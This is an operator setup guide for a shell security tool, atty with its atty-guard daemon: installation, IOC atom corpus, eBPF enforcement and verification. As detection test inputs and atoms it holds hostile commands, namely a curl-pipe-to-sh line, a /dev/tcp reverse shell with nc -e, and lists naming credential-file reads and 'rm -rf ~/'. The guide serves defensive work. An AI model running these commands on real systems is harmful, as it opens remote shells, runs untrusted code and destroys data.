Operator workflow — getting atty + atty-guard fully wired
End-to-end setup for the security stack: install the sidecar daemon →
download the atom corpus → opt into eBPF (optional) → verify with
atty doctor.
If you only want the in-proc Tier-1 pattern matcher (no daemon, no
kernel hooks), you can stop after atty init <shell> — everything
below is opt-in. The in-proc matcher catches curl … | sh,
npm install <flagged>, and bash -c "<long-base64>" shapes
without any extra setup.
The “full” path adds:
- atty-guard sidecar — UDS daemon, Tier-2 backend (stub / heuristic / ONNX BERT / ONNX Qwen-Coder), V2-J multi-hit accumulator + V2-J-2 auto-Block, V2-F live OSV.dev lookups.
- Atom corpus — IOC strings pulled from GTFOBins / SigmaHQ (sanitized), refreshed on a cron. (LOLBAS was prototyped then dropped — Windows-native, didn’t surface Linux shell IOCs.)
- eBPF kernel hooks — V2-B kernel-side enforcement
(
bprm_check_securityLSM hook +execvetracepoint) so even a non-atty shell can’t run a Block-verdict command via this PID tree. atty doctor— chain verifier; tells you which links are still missing and what to do about each.
1. Install atty (host)
git clone https://github.com/fentas/atty
cd atty
make install # atty binary → $PREFIX/bin/atty (default ~/.local/bin)
# AND atty-guard installer (next section)
make install is the meta target — it ALSO installs the atty-guard
sidecar via contrib/install.sh. To install only atty:
make install-atty
The shell integration eval (gives you OSC 133 prompt markers — needed for dialog/auto LLM mode and the trust-cache):
echo 'eval "$(atty init bash)"' >> ~/.bashrc # bash
# or
echo 'eval "$(atty init zsh)"' >> ~/.zshrc # zsh
Start a new shell. Verify integration:
eval "$(atty doctor)"
The OSC 133 section should be all green. If anything’s red, the
inline hint usually points at “your .bashrc reset PROMPT_COMMAND
after our init eval ran” or similar.
2. Install atty-guard (sidecar)
sudo make install-guard
atty-guard is a SYSTEM daemon (post-#140) — installed and run under
a dedicated atty user/group, NOT as systemd-user. WHY: atom files
and URL trust state influence detection. A user-writable trust file
is a DOS vector — a malicious process running as $USER could poison
the atom corpus with common-command atoms (ls, cd, ` ), every
keystroke fires Block, user disables atty-guard to regain a usable
shell, defense gone. atty:atty-owned files in /var/lib/atty-guard/`
keep detection state outside the user’s write reach.
What this does:
- Builds
atty-guard/target/release/atty-guardwith the default feature set:tier2-onnx,osv-live,atoms-fetch. eBPF is opt-in — see §4 below. - Creates a system
attyuser/group (no home, no login shell). - Installs the binary to
/usr/local/bin/atty-guard. - Drops
atty-guard.serviceinto/etc/systemd/system/. - Creates
/var/lib/atty-guard/ownedatty:attymode 0750. -
Auto-installs a
network.confsystemd drop-in when the binary hasosv-liveoratoms-fetchbuilt in (detected viaatty-guard --print-features). The drop-in relaxes the baseline unit’sPrivateNetwork=yes+RestrictAddressFamilies=AF_UNIXso outbound HTTPS reaches OSV.dev and the atom-corpus sources. Without it those features compile-and-run but every network call would fail. Pass--without-networkto skip even when features are present; pass--with-networkto force install regardless.Note for upgrades: the
--print-featuresprobe was added in issue #145. Operators with an olderatty-guardbinary built with network features will see the auto-detect skip silently — pass--with-networkexplicitly until you rebuild. - Runs
systemctl daemon-reload && enable --now. The daemon binds/run/atty-guard/atty-guard.sock(the unit’sRuntimeDirectory=creates that path ownedatty:atty 0750).
Then add your user to the atty group so atty proxies can connect:
sudo usermod -aG atty $USER
# log out + back in (or `newgrp atty` for a single shell)
To wire atty’s security_guard module to the daemon socket, edit
src/config.zig:
pub const modules = .{
atty.modules.security_guard.configure(.{
.enabled = true,
// System-daemon path — the systemd unit's
// RuntimeDirectory=atty-guard creates this with the right
// perms. User must be in the `atty` group to connect.
.daemon_socket_path = "/run/atty-guard/atty-guard.sock",
}),
};
Then rebuild atty (make build-atty) and make link-atty so the
new binary picks up the wired path.
Migrating from a pre-#140 systemd-user install
If you previously installed atty-guard as systemd-user (the binary
lived at ~/.local/bin/atty-guard, unit at
~/.config/systemd/user/atty-guard.service), atty doctor will
detect that install and prompt you to migrate. Tear it down before
installing the system daemon:
systemctl --user disable --now atty-guard.service
rm -f ~/.local/bin/atty-guard
rm -f ~/.config/systemd/user/atty-guard.service
rm -rf ~/.config/systemd/user/atty-guard.service.d
systemctl --user daemon-reload
Then sudo make install-guard for the new system daemon.
3. Atom corpus + user trust state
System corpus — atty-guard ships with a hand-curated atom set
baked into the binary at compile time (include_str! of
src/modules/security_guard/data/flagged_atoms.txt). This is the
always-on baseline; updates ride atty’s release cadence.
atty-guard atoms list --system prints it. The separate
runtime-fetched corpus (next paragraph) is listed via
atty-guard atoms list --fetched.
User overlay (post-#141) — operators can add per-user atoms via
the mediated CLI. The user overlay is stored under
/var/lib/atty-guard/users/<uid>/atoms.user.txt (atty:atty mode
0640) and is applied as a substring scan on top of the system
corpus at classify time. A hit upgrades a Safe verdict to Warn at
0.6 confidence (same shape as a bundled-atom hit).
Mutate the overlay through the daemon:
# Add an atom (sudo required — daemon enforces via SO_PEERCRED).
sudo atty-guard atoms add 'my-internal-tool --insecure-flag'
# Remove an atom.
sudo atty-guard atoms remove 'my-internal-tool --insecure-flag'
# List atoms by scope (defaults to --user).
atty-guard atoms list # user overlay (no sudo)
atty-guard atoms list --system # compile-time bundled corpus
atty-guard atoms list --fetched # runtime-fetched corpus from
# /var/lib/atty-guard/atoms.system.txt
# (source of `system-fetched atom
# matched: <atom>` reasons)
atty-guard atoms list --session # ephemeral in-memory overlay
The classify path scans --system AND --fetched together; the
two flags split them for introspection because system-fetched
atom matched: <atom> reasons reference the fetched corpus and
operators need a way to confirm which atom triggered.
URL decisions — same pattern, separate file
(urls.decisions.txt). Records allow <host> / block <host>
entries. The runtime trust flow that promotes prompt taps into the
session ([A]llow always / [B]lock host forever) lands in
PR #142; the CLI surface here works today:
sudo atty-guard urls allow brew.sh
sudo atty-guard urls block evil.io
atty-guard urls list
Session — in-memory state that builds up over the lifetime of
the atty-guard daemon process (NOT a single atty proxy session —
multiple atty proxies under the same UID share one daemon-side
session). Populated EXCLUSIVELY via inline keystrokes on the
security_guard banner. sudo atty-guard atoms add ... writes to
the PERSISTENT overlay, not the session.
atty security_guard: <reason>
match: <substring>
[y]es once · [a]llow always · [t]rust permanently · [B]lock host forever · any other key cancels.
| Key | Effect |
|---|---|
[y] |
run this one command, nothing remembered |
[a]llow always |
session-trust the (category, matched) hash — won’t re-prompt until atty exits. Mirrored to daemon for atty-guard session list visibility. |
[t]rust permanently |
atty proxy adds to its in-memory trust cache for the current session AND mirrors to the daemon’s per-UID commands.trusted.txt via TrustAdd. The daemon copy is the persistent store; atty-guard trust list shows it; subsequent atty sessions seed rt.trust from the daemon at first Enter. |
[B]lock host forever |
extract host from the matched URL, add to session-block list. Future commands containing that host get REFUSED outright (red line + readline cleared). Mirrored to daemon. Cancels the current command too. Falls through to [cancel] when the match has no URL host. |
| any other | cancel — Ctrl+U clears readline, nothing remembered |
[a] / [B] decisions are SESSION-only — they live in atty’s
runtime memory + the daemon’s per-UID session state. They evaporate
when atty exits. To persist them across atty restarts:
atty-guard session list # show pending in-memory decisions
atty-guard session clear # discard them
sudo atty-guard session write # persist them to the user files
session write is the ONLY session op that needs sudo — the others
only touch ephemeral daemon state.
WHY sudo for mutations: a process running as $USER could
otherwise poison the user overlay with common-command atoms (ls,
cd, ` `) — every keystroke fires Warn/Block, user disables
atty-guard to regain a usable shell, detection gone. Requiring sudo
keeps mutations behind admin intent, even when the entry is a
“user’s personal preference” addition.
Which UID owns the change? When you invoke sudo atty-guard
atoms add ..., the CLI reads the SUDO_UID env var (sudo sets it
to the invoking user’s UID) and forwards it to the daemon. The
daemon writes into /var/lib/atty-guard/users/$SUDO_UID/, NOT
users/0/. Your personal overlay stays under your UID even though
the write happens as root. To manage another user’s overlay
(operator-on-behalf-of), invoke as that user instead:
sudo -u alice atty-guard atoms add 'alice-only atom'
# alice's session: SUDO_UID=<alice-uid>, write lands under users/<alice-uid>/
Direct root login (no sudo, no SUDO_UID set) writes into
users/0/ — atty doesn’t run as root in normal use, so this only
matters for admin scripts. Non-root callers cannot target a UID
other than their own (the daemon rejects the request).
System-fetched corpus refresh (operator-side)
The daemon can pull fresh IOC atoms from upstream sources
(GTFOBins, Sigma’s /rules/linux/**) on a schedule. The output
lands at /var/lib/atty-guard/atoms.system.txt (atty:atty 0640)
and feeds the classify hot path alongside the bundled corpus +
the per-UID user overlay.
Manual one-shot refresh:
sudo -u atty /usr/local/bin/atty-guard --update-atoms-now
sudo systemctl restart atty-guard.service
First command runs the fetcher synchronously as the atty user
(so the output file lands atty-owned). Second command restarts
the daemon so the new file gets re-loaded at startup — the
running daemon’s in-memory copy is a one-shot lazy load and won’t
re-read mid-life. The cron path below avoids the restart because
the cron thread calls the explicit reload_system_fetched after
each successful fetch.
Scheduled refresh via systemd:
Drop in /etc/systemd/system/atty-guard.service.d/refresh.conf:
[Service]
ExecStart=
ExecStart=/usr/local/bin/atty-guard --atoms-update-interval 7d
Then sudo systemctl daemon-reload && sudo systemctl restart
atty-guard. The daemon spawns a background thread that re-runs
the fetch every interval; failed fetches log + continue (no fail-
open). After each successful fetch the daemon’s in-memory copy is
hot-reloaded — no restart needed.
Permission gate: at every load (startup + post-fetch), the
daemon checks that atoms.system.txt is owned by the atty user
and is NOT group-writable or world-writable. On drift, the load
is refused with a journald warning and the previous in-memory
state is kept (fail-safe). A poisoned corpus could otherwise
escalate via V2-J to Block-via-eBPF and DOS the user’s whole PID
tree.
Sources fetched: gtfobins (~357 atoms after filter) and sigma
(/rules/linux/** only, ~369 atoms). LOLBAS was dropped because
it’s Windows-native by definition. Placeholder atoms (Sigma’s
/path/to/, {PATH:.exe}, angle-bracket <hostname> shapes) are
filtered at extract time because Aho-Corasick has no wildcards —
they’d never match real input.
Pre-release bundled corpus refresh (maintainer-side)
The compile-time bundled corpus
(src/modules/security_guard/data/flagged_atoms.txt in the repo)
is refreshed by maintainers — run the system fetcher, review the
diff, commit. Operators receive the new baseline via the next
atty release; the system-fetched corpus above is the runtime path
for in-between updates.
4. Enable eBPF (optional, opt-in)
eBPF kernel hooks (V2-B) give you kernel-side enforcement: even if
the user works around atty entirely (e.g. via SSH from another
session), a Block-verdict-marked PID tree can’t execve(). Without
eBPF you still get atty-side refusal (red REFUSED line + Ctrl+U
readline clear) but the kernel doesn’t know about it.
Build + install with eBPF in one step:
sudo make install-guard GUARD_FEATURES=tier2-onnx,osv-live,atoms-fetch,ebpf
Requires libbpf-dev on the build host. The install-guard target
detects ebpf in GUARD_FEATURES and passes --with-ebpf to
contrib/install.sh, which:
- Verifies the binary actually has the feature compiled in (via
atty-guard --print-features). - Drops in
/etc/systemd/system/atty-guard.service.d/ebpf.confwithAmbientCapabilities=CAP_BPF CAP_PERFMON,SystemCallFilter=bpf perf_event_open(widens the baseline@system-servicefilter — both syscalls live in@privileged),RestrictNamespaces=(clears the namespace lockout that blocks some BPF map types), andExecStart=/usr/local/bin/atty-guard --enable-ebpf. - Reloads + restarts the daemon.
To disable eBPF later without rebuilding, remove the drop-in:
sudo rm -f /etc/systemd/system/atty-guard.service.d/ebpf.conf
sudo systemctl daemon-reload
sudo systemctl restart atty-guard
Verify the kernel programs attached:
sudo journalctl -u atty-guard -n 50 | grep eBPF
# Expected: "atty-guard: eBPF attached (LSM + execve tracepoint)"
# If you see "atty-guard: eBPF unavailable — <reason>" the daemon
# fell back to V2-A in-memory threat-map mode.
Or run atty doctor — its eBPF check now reads --print-features
- inspects the unit’s
ExecStart(viasystemctl show -p ExecStart) and reports one of: feature missing / compiled but not configured / compiled + configured + journald confirms “attached” / compiled + configured but journald shows no attach (look for the actual error in the operator’s preferred journalctl form).
Common failure: kernel doesn’t ship LSM BPF hooks. Most distros do
since 5.7; check cat /sys/kernel/security/lsm for bpf in the
list. If absent, your kernel was built without CONFIG_BPF_LSM=y.
Warn mode (--ebpf-mode=warn)
block mode (default when eBPF is enabled) returns EPERM from the
LSM hook so the marked PID tree literally can’t execve(). warn
mode keeps the same classification pipeline but DOESN’T return EPERM
— the kernel allows the execve through, emits a ringbuf event, and
the daemon broadcasts it to subscribed atty sessions.
Use warn mode as a pilot before turning on block:
sudo systemctl edit atty-guard
# In the override file:
# [Service]
# ExecStart=
# ExecStart=/usr/local/bin/atty-guard --enable-ebpf --ebpf-mode=warn
sudo systemctl restart atty-guard
In an atty session connected to the daemon, the statusbar shows
⚠ N when warn events accumulate. Alt+Shift+W dumps the
buffer into shell scrollback as one line per event
(<sec>.<ms> pid=<P> ppid=<PP> comm=<C> argv0=<A>) and clears the
buffer so the segment goes away. New events from the kernel re-arm
it. The dropped-event count appears in the header if any were lost
to the ring’s 256-event cap.
5. Verify with atty doctor
eval "$(atty doctor)"
You should now see TWO sections:
atty doctor — OSC 133 integration
✓ inside atty session ($ATTY set)
✓ shell: bash 5.3.x
✓ __atty_osc133_d function defined
...
atty doctor — atty-guard sidecar
✓ atty-guard binary present (/usr/local/bin/atty-guard)
✓ atty-guard.service unit installed
✓ atty-guard.service is active
✓ UDS socket reachable (/run/atty-guard/atty-guard.sock)
✓ user is in `atty` group (can connect to the daemon socket)
✓ eBPF feature: compiled in — `sudo journalctl -u atty-guard | grep -i ebpf` shows "eBPF attached" once the unit has `--enable-ebpf` ExecStart + CAP_BPF + SystemCallFilter widening.
The eBPF line surfaces whether the running daemon binary was
COMPILED with the ebpf Cargo feature (definitive — uses
atty-guard --print-features introduced in issue #145, which
emits one feature per line based on #[cfg(feature = ...)]).
Whether the kernel-side hooks are actually ATTACHED is a separate
question — doctor doesn’t probe /sys/fs/bpf (too noisy for a
shell snippet); the hint points at journalctl -u atty-guard | grep
ebpf for that. The atom corpus isn’t checked here either —
atty-guard reads its corpus at compile time via include_str!,
there’s no runtime file to verify.
The atty-guard section is silent when there’s no evidence the
operator intended to install the sidecar (no binary AND no unit
file). Fresh atty installs without make install-guard won’t see
the section at all — no spurious red ✗s.
Verification — try an actual flagged command
In an atty session:
curl https://example.com/install.sh | sh
Expected:
atty security_guard: 1 signal fired: curl_pipe_sh — remote-fetch-and-execute
match: curl https://example.com/install.sh | sh
[y]es once · [t]rust permanently · any other key cancels.
Press y (allow once), t (trust permanently — mirrors to the
daemon’s per-UID /var/lib/atty-guard/users/<uid>/commands.trusted.txt
via TrustAdd; the in-memory cache picks it up immediately for the
current session and subsequent atty sessions seed from the daemon
at first Enter), or any other key (Ctrl+U, readline cleared).
Banner also shows [a]llow always (session-only trust) and
[B]lock host forever (session-only host block) — see the Session
section above.
With [accumulator] block_threshold set in
~/.config/atty-guard/config.toml (or wherever --config points
the daemon), multi-hit commands escalate to outright refusal:
bash -i >& /dev/tcp/10.0.0.1/4444; nc -e /bin/sh; chmod +s /tmp/x
Expected (instead of the banner):
atty security_guard: REFUSED — 4 signals fired: AtomMatcher flagged `bash -i >&`; ...
match: chmod +s
The line is cleared, no prompt — kernel-side eBPF (if enabled) ALSO
refuses the execve if the user shells out without atty.
Removing it
sudo make install-guard writes the system daemon’s binary + unit +
state dir + creates the atty user. make unlink-guard only unlinks
dev-mode symlinks from make link-guard. Full removal:
# Stop + disable the service.
sudo systemctl disable --now atty-guard.service
# Remove the installed paths.
sudo rm -f /usr/local/bin/atty-guard
sudo rm -f /etc/systemd/system/atty-guard.service
sudo rm -rf /etc/systemd/system/atty-guard.service.d
sudo rm -rf /var/lib/atty-guard
sudo systemctl daemon-reload
# Optional: remove the dedicated user/group.
sudo userdel atty 2>/dev/null || true
sudo groupdel atty 2>/dev/null || true
# Optional: clear user-side atty cache (ghost-text history, etc.).
rm -rf ~/.cache/atty
(If you used make link-guard for dev-mode, make unlink-guard
DOES handle the symlink — it only refuses on real-file installs.)
All trust state lives daemon-side in /var/lib/atty-guard/ and
gets removed by rm -rf /var/lib/atty-guard above; no separate
user-side trust file to clean up.
Named threats — what this stack catches
Two recent high-impact threats and how each layer detects them.
Drilled by tests/integration/scenarios/exploit_*.sh so a release
that broke detection would fail the integration suite.
copy.fail (CVE-2026-31431) — kernel LPE via AF_ALG / splice()
Kernel page-cache memory-corruption primitive that turns an unprivileged user into root (and breaks out of containers, since the page cache is host-shared). Disclosed April 2026.
| Layer | Signal |
|---|---|
| Tier-1 AtomMatcher | socket.AF_ALG, af_alg_set, algif_aead — atoms in flagged_atoms.txt. Catches the C/Python PoC’s command lines: anyone running a compiled exploit usually types something like gcc poc.c -o exploit && ./exploit. (splice( is intentionally omitted — it has too many legit uses in zero-copy I/O; the eBPF correlator below catches AF_ALG + splice at the syscall layer where the FP rate is near zero.) |
| eBPF AF_ALG tracepoint (V2-G, opt-in) | Kernel-side sys_enter_socket filter; flags ANY process that opens an AF_ALG socket — even if the user runs an opaque binary that never mentions the algorithm by name. Requires --features ebpf + CAP_BPF. |
Shai-Hulud worm — npm/PyPI supply-chain malware
Worm that hijacks compromised developer credentials, propagates via
republishes, and installs a 60-second-polling dead-man-switch daemon
that fires rm -rf ~/ if the stolen tokens get revoked. Active
waves: Sep 2025 (npm), Dec 2025 (npm + CI/CD), May 2026 (npm + PyPI
via GitHub Actions cache poisoning).
| Stage | Detection |
|---|---|
| Initial install | npm install <flagged> — V2-F live OSV.dev lookup + flagged_npm.txt. Caught at the prompt before bash runs the postinstall. |
| Dead-man switch | rm -rf ~/, rm -rf $HOME, rm -rf ${HOME}, rm -rf /home/<user> — all four canonical forms ship as atoms. |
| Credential harvest | ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_{rsa,ed25519,ecdsa}, /proc/self/mem — atoms cover file-read shapes and the self-scrape memory variant. Cross-process /proc/<pid>/mem reads aren’t an atom (Aho-Corasick has no wildcards); eBPF V2-G’s openat() tracepoint catches them at the kernel layer. |
| systemd persistence | systemctl --user enable, systemctl --user daemon-reload, loginctl enable-linger — atoms catch each step of the daemon-install command sequence. |
| V2-J auto-Block (opt-in) | With [accumulator] block_threshold = 0.95, multi-hit Shai-Hulud command chains (dead-man + credential read + persistence in one line) escalate from Warn to outright REFUSED. |
See also
docs/security-guard-design.md— full design rationale + V2-* tier table.docs/security-guard-updates.md— V2-F bundle format design (future).docs/security-guard-slm.md— Tier-2 ONNX SLM details (model choice, calibration).docs/modules.md— atty’s module framework, including thesecurity_guardmodule’s config knobs.atty-guard/ebpf/README.md— kernel-side build details.tests/integration/README.md— end-to-end integration scenarios + probe.sh validator.